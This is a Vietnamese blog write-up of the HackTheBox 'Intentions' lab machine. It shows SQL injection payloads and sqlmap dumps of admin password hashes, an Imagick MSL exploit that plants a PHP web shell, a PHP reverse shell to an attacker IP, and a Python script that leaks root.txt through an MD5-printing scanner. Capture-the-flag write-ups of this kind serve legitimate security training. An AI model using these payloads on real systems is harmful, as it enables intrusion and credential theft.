Intentions

  

Enumeration

Zenmap:

Kiểm tra website, tôi thấy một trang đăng nhập:
Tạo một tài khoản vào đăng nhập vào website, kiểm tra nó, và tôi thấy điều duy nhất tôi có thể thay đổi:

SQL Inject

Handmade (one way)

Tôi có thể update lại Fovorite Genres. Nêu tôi thử trèn vào đây một câu lệnh sql và sau đó call api lấy your feed thì tôi sẽ nhận được một kết quả thành công và không có nội dung gì trong data:
kết quả được trả về chậm hơn so với nhưng lần gọi bình thường khác:
Sau một khoảng thời gian thử nghiệm SQLi bằng tay tôi tìm ra cách trèn payload như sau:
')/**/UNION/**/ALL/**/SELECT/**/NULL,JSON_ARRAYAGG(VERSION()),NULL,NULL,NULL#
Kết quả tôi nhận được version của sql:
{"status":"success","data":[{"id":null,"file":"[\"10.6.12-MariaDB-0ubuntu0.22.04.1\"]","genre":null,"created_at":null,"updated_at":null,"url":"\/storage\/[\"10.6.12-MariaDB-0ubuntu0.22.04.1\"]"}]}
Làm tương tự với việc trèn những payload dưới đây và tôi thu được kết quả tương ứng như sau:
')/**/UNION/**/ALL/**/SELECT/**/NULL,JSON_ARRAYAGG(CONCAT_WS(0x2c,schema_name)),NULL,NULL,NULL/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA#
Kết quả:
{"status":"success","data":[{"id":null,"file":"[\"information_schema\",\"intentions\"]","genre":null,"created_at":null,"updated_at":null,"url":"\/storage\/[\"information_schema\",\"in********\"]"}]}
Tôi đã nhận được thông tin database, sử dụng thông tin đó lấy các bảng:
')/**/UNION/**/ALL/**/SELECT/**/NULL,JSON_ARRAYAGG(CONCAT_WS(0x2c,table_name)),NULL,NULL,NULL/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/table_schema='in********'#
Kết quả:
{"status":"success","data":[{"id":null,"file":"[\"gallery_images\",\"personal_access_tokens\",\"migrations\",\"users\"]","genre":null,"created_at":null,"updated_at":null,"url":"\/storage\/[\"gallery_images\",\"personal_access_tokens\",\"migrations\",\"users\"]"}]}
Sau khi nhận được table tôi trích xuất các cột của bảng users:
')/**/UNION/**/ALL/**/SELECT/**/NULL,JSON_ARRAYAGG(CONCAT_WS(0x2c,column_name,column_type)),NULL,NULL,NULL/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/table_name='users'/**/AND/**/table_schema='in********'#
Kết quả:
{"status":"success","data":[{"id":null,"file":"[\"id,bigint(20) unsigned\",\"name,varchar(255)\",\"email,varchar(255)\",\"password,varchar(255)\",\"created_at,timestamp\",\"updated_at,timestamp\",\"admin,int(11)\",\"genres,text\"]","genre":null,"created_at":null,"updated_at":null,"url":"\/storage\/[\"id,bigint(20) unsigned\",\"name,varchar(255)\",\"email,varchar(255)\",\"password,varchar(255)\",\"created_at,timestamp\",\"updated_at,timestamp\",\"admin,int(11)\",\"genres,text\"]"}]}
Tôi đã nhận được các cột của bảng user, trích xuất dữ liệu của những cột mà tôi cho là quan trọng.
')/**/UNION/**/ALL/**/SELECT/**/NULL,JSON_ARRAYAGG(CONCAT_WS(0x2c,admin,email,password)),NULL,NULL,NULL/**/FROM/**/intentions.users/**/WHERE/**/admin=1#
Kết quả:
{"status":"success","data":[{"id":null,"file":"[\"1,steve@intentions.htb,$2y$10$M\/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa\",\"1,greg@intentions.htb,$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m\"]","genre":null,"created_at":null,"updated_at":null,"url":"\/storage\/[\"1,steve@intentions.htb,$2y$10$*************************************************p4twa\",\"1,greg@intentions.htb,$2y$10$************************************************iyU5m\"]"}]}

Sqlmap (two way)

Sử dụng burp lưu nội dung request của 2 api /api/v1/gallery/user/genres/api/v1/gallery/user/feed thành 2 file req1genresreq2feed.
Sau đó tôi sử dụng Sqlmap:
PS D:\Program File\sqlmap> python.exe .\sqlmap.py -r D:\thehackbox\Machines\Intentions\req1genres --second-req D:\thehackbox\Machines\Intentions\req2feed --batch -dbs --tamper=space2comment
...
[09:23:48] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] in********

[09:23:50] [WARNING] HTTP error codes detected during run:
...
PS D:\Program File\sqlmap>
Tôi đã nhận được thông tin database, sử dụng thông tin đó lấy các bảng:
PS D:\Program File\sqlmap> python.exe .\sqlmap.py -r D:\thehackbox\Machines\Intentions\req1genres --second-req D:\thehackbox\Machines\Intentions\req2feed --batch -D in******** --tables --tamper=space2comment
...
[14:03:43] [INFO] fetching tables for database: 'in********'
Database: in********
[4 tables]
+------------------------+
| gallery_images         |
| in********             |
| personal_access_tokens | | users | +------------------------+ ... PS D:\Program File\sqlmap>
Sau khi nhận được table tôi trích xuất các cột của bảng users:
PS D:\Program File\sqlmap> python.exe .\sqlmap.py -r D:\thehackbox\Machines\Intentions\req1genres --second-req D:\thehackbox\Machines\Intentions\req2feed --batch -D in******** -T users --columns --tamper=space2comment
...
[15:01:18] [INFO] fetching columns for table 'users' in database 'in********'
Database: in********
Table: users
[8 columns]
+------------+---------------------+
| Column     | Type                |
+------------+---------------------+
| admin      | int(11)             |
| created_at | timestamp           |
| email      | varchar(255)        |
| genres     | text                |
| id         | bigint(20) unsigned |
| name       | varchar(255)        |
| password   | varchar(255)        |
| updated_at | timestamp           |
+------------+---------------------+
...
PS D:\Program File\sqlmap>
Tôi đã nhận được các cột của bảng user, trích xuất dữ liệu của những cột mà tôi cho là quan trọng.
PS D:\Program File\sqlmap> python.exe .\sqlmap.py -r D:\thehackbox\Machines\Intentions\req1genres --second-req D:\thehackbox\Machines\Intentions\req2feed --batch -D in******** -T users -C admin,email,password --where "admin=1" --dump --tamper=space2comment
...
[15:03:52] [INFO] fetching entries of column(s) 'admin,email,password' for table 'users' in database 'in********'
Database: in********
Table: users
[2 entries]
+-------+----------------------+--------------------------------------------------------------+
| admin | email                | password                                                     |
+-------+----------------------+--------------------------------------------------------------+
| 1     | steve@intentions.htb | $2y$10$************************************************p4twa |
| 1     | greg@intentions.htb  | $2y$10$************************************************iyU5m |
+-------+----------------------+--------------------------------------------------------------+
...
PS D:\Program File\sqlmap>

LFI

Bây giờ tôi đã có được user và hash pass. Nhưng tôi không thể crack nó. Tìm kiếm và tôi tìm thấy link sau: http://intentions.htb/js/admin.js
Hey team, I've deployed the v2 API to production and have started using it in the admin section. 
Let me know if you spot any bugs. 
This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! 
By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.
This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
Từ điều này tôi biết được mình không cần phải crack pass mới có thể truy cấp được website với quyền admin. Bắt gói tin đăng nhập với burp và sửa lại nó thành như sau:
Sau khi sửa lại tôi forward nó. và tôi đã có thể login với người dùng steve. Sau khi có người dùng admin tôi chuyển qua trang admin với link : http://intentions.htb/admin
Ở trong trang admin tôi thấy trong phần Image tôi có quyền edit ảnh:
Sau khi chuyển đổi giữa các charcoal, wave, swirl, sepia. Tôi thấy bức ảnh thay đổi, nhưng không có gì khai thác. Tôi chuyển qua burp và tôi thấy có một nơi tôi có thể xuất hiện lỗ hổng lfi.
Tôi biết mình có thể xem được nội dung của các tệp thông qua lỗ hổng trên, và tôi viết chương trình được xây dựng thông qua Laravel Application: Directory Structure Of Laravel Application
Từ điều trên tôi đoán thư mục chứa nội dung của service web ở: /var/www/html/intentions/. Tôi đọc nội dung file api.php:
mvg:/var/www/html/intentions/routes/api.php[20x20+20+20]
Nội dung của file như sau:
<?php

...
use App\Http\Controllers\AdminController;

Route::prefix('v2')->group(function () {
    ...

    Route::middleware(['auth:api', 'isadmin'])->prefix('admin')->group(function () {
        Route::get('users', [AdminController::class, 'getUsers']);
        Route::post('image/modify', [AdminController::class, 'modifyImage']);
        Route::get('image/{id}', [AdminController::class, 'getImage']);
    });

    ...
});
Tại đây tôi thấy Admincontroller, tiếp tục đọc file Admincontroller:
<?php

namespace App\Http\Controllers;
use Imagick;
...

class AdminController extends Controller
{
    ...

    //
    function modifyImage(Request $request) {
        $v = Validator::make($request->all(), [
            'path' => 'required',
            'effect' => 'required'
        ]);
        if ($v->fails())
        {
            return response()->json([
                'status' => 'error',
                'errors' => $v->errors()
            ], 422);
        }
        $path = $request->input('path');
        if(Storage::exists($path)) {
            $path = Storage::path($path);
        }
        try {
            $i = new Imagick($path);

            switch($request->input('effect')) {
                case 'charcoal':
                    $i->charcoalImage(1, 15);
                    break;
                case 'wave':
                    $i->waveImage(10, 5);
                    break;
                case 'swirl':
                    $i->swirlImage(111);
                    break;
                case 'sepia':
                    $i->sepiaToneImage(111);
                    break;
            }
            
            return "data:image/jpeg;base64," . base64_encode($i->getImageBlob());
        }
        catch(\Exception $ex) {
            return response("bad image path", 422);
        }
        
    }

    ...
}

Gaining access www-data

Lại là Imagick, Tìm kiếm lỗ hổng: Exploiting Arbitrary Object Instantiations

Old method

Từ khai thác này, tôi thực hiện như sau:
Đầu tiên tôi tạo một image web shell:
┌──(yuh㉿Huydz)-[~]
└─$ convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["cmd"]); ?>' positive.png

┌──(yuh㉿Huydz)-[~]
└─$ ls positive.png
positive.png
Tạo 2 luồng Intruder:
thread one.
thread two.
Thực hiện đồng thời hai luồng trên. Tôi nhận được kết nối từ box:
PS D:\thehackbox\Machines\Intentions> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [03/Jul/2023 16:18:59] "GET /positive.png HTTP/1.0" 200 -
::ffff:10.129.**.** - - [03/Jul/2023 16:19:08] "GET /positive.png HTTP/1.0" 200 -
::ffff:10.129.**.** - - [03/Jul/2023 16:19:11] "GET /positive.png HTTP/1.0" 200 -
::ffff:10.129.**.** - - [03/Jul/2023 16:19:16] "GET /positive.png HTTP/1.0" 200 -
.....
Payload thực hiện revershell như sau:
#call: http://intentions.htb/rev.php?cmd=$sock=fsockopen(%22<Ip attack>%22,8888);$proc=proc_open(%22sh%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);
$sock=fsockopen("<Ip attack>",8888);$proc=proc_open("sh",%20array(0=>$sock,%201=>$sock,%202=>$sock),$pipes);
Và tôi nhận được kết nối từ box:
PS D:\thehackbox\Machines\Intentions> ncat.exe -l 8888
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html/intentions/public
cd ..
ls -la
total 820
drwxr-xr-x  14 root     root       4096 Feb  2 17:55 .
drwxr-xr-x   3 root     root       4096 Feb  2 17:55 ..
-rw-r--r--   1 root     root       1068 Feb  2 17:38 .env
drwxr-xr-x   8 root     root       4096 Feb  3 00:51 .git
-rw-r--r--   1 root     root       3958 Apr 12  2022 README.md
.....
tar -cvf /tmp/git.tar .git
ls /tmp/git.tar
/tmp/git.tar
cd public
mv /tmp/git.tar .

New method

Gộp chung cả hai điều trong old method vào với nhau tôi có thể call dưới dạng như sau:
PS D:\thehackbox\Machines\Intentions> more swarm.msl
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://<IP attack>/positive.png" />
<write filename="/var/www/html/intentions/public/rev.php" />
</image>

PS D:\thehackbox\Machines\Intentions> curl.exe --location 'http://intentions.htb/api/v2/admin/image/modify' --header 'Cookie: token=<TOKEN>; XSRF-TOKEN=<XSRF-TOKEN>; intentions_session=<INTENTIONS_SESION>' --form 'path="vid:msl:/tmp/php*"' --form 'effect="charcoal"' --form 'swarm=@"swarm.msl"'
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

#---------------------------------
PS D:\thehackbox\Machines\Intentions> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [06/Jul/2023 08:18:21] "GET /positive.png HTTP/1.0" 200 -
Khi đó nội dung gửi tôi bắt được trong burp sẽ có dạng như sau:
Với điều sau tôi đã nhận được kết nối lấy file positive.png. Hoặc bạn có thể dùng script sau để gửi:
var formData = new FormData();
formData.append("path", "vid:msl:/tmp/php*");
formData.append("effect", "charcoal");
var content = '<?xml version="1.0" encoding="UTF-8"?><image><read filename="http://<IP attack>/positive.png" /><write filename="/var/www/html/intentions/public/rev.php" /></image>';
var blob = new Blob([content], { type: "text/plain" });
formData.append("name", blob, "swarm.msl");
var request = new XMLHttpRequest();
request.open("POST", "http://intentions.htb/api/v2/admin/image/modify");
request.send(formData);
Chạy nó trên browser website đã đăng nhập admin:
Khi đó tôi nhận được kết quả sau:
PS D:\thehackbox\Machines\Intentions> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [06/Jul/2023 08:44:49] "GET /positive.png HTTP/1.0" 200 -
Tôi đã có kể nối, giờ tôi kiểm tra burp của mình và nội dung request được gửi đi như sau:

Gaining access greg

Bây giờ tôi phát hiện ra tại đây thư mục chính của service có thư mục .git. Nén thư mục .git lại và chuyển file nén vào thư mục public tải về máy qua link: http://intentions.htb/git.tar
Sau đó tôi đã tải được file git.tar. Giải nén nó và mở bằng lệnh git.
PS D:\thehackbox\Machines\Intentions\Intentions> git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)
Author: steve <steve@intentions.htb>
Date:   Mon Jan 30 15:29:12 2023 +0100

    Fix webpack for production

commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date:   Thu Jan 26 09:21:52 2023 +0100

    Test cases did not work on steve's local database, switching to user factory per his advice

commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319
Author: greg <greg@intentions.htb>
Date:   Wed Jan 25 20:45:12 2023 +0100

    Adding test cases for the API!

commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd
Author: steve <steve@intentions.htb>
Date:   Fri Jan 20 14:19:32 2023 +0100

    Initial v2 commit
PS D:\thehackbox\Machines\Intentions\Intentions> git show f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4
Author: greg <greg@intentions.htb>
Date:   Thu Jan 26 09:21:52 2023 +0100

    Test cases did not work on steve's local database, switching to user factory per his advice

diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
index f57e37b..0586d51 100644
--- a/tests/Feature/Helper.php
+++ b/tests/Feature/Helper.php
@@ -8,12 +8,14 @@ class Helper extends TestCase
 {
     public static function getToken($test, $admin = false) {
         if($admin) {
-            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr**************************']);
-            return $res->headers->get('Authorization');
+            $user = User::factory()->admin()->create();
         }
         else {
-            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr**************************']);
-            return $res->headers->get('Authorization');
+            $user = User::factory()->create();
         }
+
+        $token = Auth::login($user);
+        $user->delete();
+        return $token;
Bây giờ tôi đã có user và pass tôi login nó với ssh:
PS D:\thehackbox\Machines\Intentions> ssh greg@intentions.htb
greg@intentions.htb's password:
$ ls
dmca_check.sh  dmca_hashes.test  user.txt
$ cat user.txt
********************************
$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)
$ find / -group scanner -type f 2>/dev/null
/opt/scanner/scanner
$ ls -la /opt/scanner/scanner
-rwxr-x--- 1 root scanner 1437696 Jun 19 11:18 /opt/scanner/scanner
$

Privilege escalation

Từ kết quả trên tôi biết được user greg thuộc group scanner. tìm kiếm file thuộc group scanner tôi thấy file /opt/scanner/scanner thuộc group scanner và thuộc quyền sở hữu của user root.
Đọc mô tả về scanner command.
$ /opt/scanner/scanner -h
flag needs an argument: -h
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

        This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
        This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
        File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

        The hash blacklist file should be maintained as a single LABEL:MD5 per line.
        Please avoid using extra colons in the label as that is not currently supported.

.....

  -c string
        Path to image file to check. Cannot be combined with -d
.....
  -l int
        Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
  -p    [Debug] Print calculated file hash. Only compatible with -c
  -s string
        Specific hash to check against. Not compatible with -h
Nhìn vào điều trên tôi có thể viết thực hiện được như sau:
$ /opt/scanner/scanner -c /root/root.txt -l 1 -p -s 1111
[DEBUG] /root/root.txt has hash 0cc175b9c0f1b6a831c399e269772661
$
Crack chuỗi md5 ra tôi thu được ký tự a. Từ đó tôi viết một trương trình để khai thác như sau:
import hashlib
import os
import string

charset = string.printable
resfult = ""

def get_hash(i):
    temp_hash = os.popen(f"/opt/scanner/scanner -c {file} -l {i} -p -s 1111").read().split(" ")[-1].rstrip()
    return temp_hash

def find_char(temp_hash):
    for i in charset:
        test_data = resfult + i
        current_hash = hashlib.md5(test_data.encode()).hexdigest()
        if temp_hash == current_hash:
            return i
    return None

file = input("File: ")
i = 1
while True:
    temp_hash = get_hash(i)
    new_char = find_char(temp_hash)
    if not new_char:
        break
    else:
        resfult += new_char
        i += 1
print(resfult)
Upload file lên box. và chạy nó:
$ python3 exploit.py
File: /root/root.txt
********************************

$
Đọc file /root/.ssh/id_rsa, tôi lấy được key ssh, sử dụng nó và tôi có root shell.

Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

2 Comments

Previous Post Next Post